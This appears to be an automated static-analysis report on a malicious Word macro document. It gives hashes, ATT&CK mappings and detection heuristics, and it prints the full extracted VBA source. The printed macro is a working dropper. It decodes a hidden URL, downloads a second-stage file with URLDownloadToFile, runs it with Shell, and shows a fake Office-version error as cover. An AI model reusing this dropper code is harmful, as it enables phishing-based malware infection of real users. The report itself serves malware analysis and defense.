Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6ccb6c2b2c074eea…

MALICIOUS

Office (OOXML)

41.5 KB Created: 2019-10-22 11:45:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-07-24
MD5: 1a26c9b6ba40e4e3c3dce12de266ae10 SHA-1: fb4201fe82a76229fa8aca9e8de1d61047ab716b SHA-256: 6ccb6c2b2c074eea6e1bd9bb7ff2841fdf5466c646780a7644fbd907098f5b27
222 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros that instruct the user to enable content, a common lure. The VBA code utilizes Shell() and URLDownloadToFile functions, indicating it downloads and executes a second-stage payload. ClamAV detection as 'Doc.Dropper.Agent-7402850-0' further supports its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7402850-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7402850-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Function Go2(v0, v1, v3)
    Shell v1
End Function
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 Then
Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3676 bytes
SHA-256: c18acae55ed374e1cd088762fd5569f1424e6d13d1a4e3e07c6670b711f6733b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub InkEdit1_Change()
Dim hR1 As String
hR1 = "Hello researcher =D v.9.5.34" & _
"Night / 1823" & _
"My voice, to which love lends a tenderness and yearning," & _
"Disturbs night's dreamy calm... Pale at my bedside burning," & _
"A taper wastes away... From out my heart there surge" & _
"Swift verses, streams of love, that hum and sing and merge" & _
"And, full of you, rush on, with passion overflowing." & _
"I seem to see your eyes that, in the darkness glowing," & _
"Meet mine... I see your smile... You speak to me alone:" & _
"My friend, my dearest friend... I love... I'm yours... your own."
End Sub

Private Sub InkEdit1_GotFocus()
    St
End Sub

Attribute VB_Name = "QYE154"
Attribute VB_Base = "0{DE55A1CA-3A8D-49FF-A2A0-FDCDFDE9408B}{F4137A24-3413-4E86-A00B-6FF4D3CD3DD5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub TextBox1_Change()

End Sub

Private Sub TextBox2_Change()

End Sub

Private Sub Label1_Click()

End Sub

Private Sub Mnyer1_Click()

End Sub

Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "Module1"
#If VBA7 Then
Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                    ByVal szURL As String, ByVal szFileName As String, _
                                    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Declare Function URLDownloadToFile Lib "urlmon" _
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                    ByVal szURL As String, ByVal szFileName As String, _
                                    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If

Function wer2(v0, v1, v2, v4)
    URLDownloadToFile 0, v1, v2, 0, 0
End Function
Sub St()
    Dim url1 As String
    url1 = gtF1
    Dim path1 As String
    path1 = gtF2
    
    Dim obj1 As Object
    If IsObject(obj1) = True Then
        Dw2 3445, url1, path1
    End If
    
    Dim pth As String
    pth = path1
    Go1 "yrfgr", pth
End Sub

Sub Dw2(v1, url1, path1)
    wer2 2, url1, path1, 7
End Sub
Function Dcr2(a1)
    Dim b1 As String
    Dim s1 As String
    lb1 = LBound(a1)
    ub1 = UBound(a1)
    For o1 = lb1 To ub1
        b1 = Chr(a1(o1))
        s1 = s1 + b1
    Next o1
    Dcr2 = s1
End Function

Function Go2(v0, v1, v3)
    Shell v1
End Function

Function Bbox(v2, v1)
    MsgBox v1, 16
End Function

Function gtF1()
    gtF1 = Dcr(QYE154.Nuetb1.Caption)
End Function

Function gtF2()
    gtF2 = Dcr(QYE154.Nuetb2.Caption)
End Function

Attribute VB_Name = "Module2"
Function Dcr(str)
    arr = Split(str, ",", -1)
    Dcr = Dcr2(arr)
End Function
Function Go1(v0 As String, v1 As String)
    Go2 "werwe", v1, "234234"
    Bbox "hepoik", gtMs
End Function

Function gtMs()
    gtMs = "This ap" & "plic" & "ation ap" & "pears to ha" & "ve be" & "en made wi" & "th an old" & "er versi" & "on of the Mi" & "cro" & "soft Off" & "ice product su" & "ite. Please have the author save this doc" & "ument to a newer and sup" & "ported format. [Er" & "ror Co" & "de: -21" & "9]"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: b3dd70a15e73ec7426c275ca7e74cec53ddcabddef7be7545e57bb1c39858796

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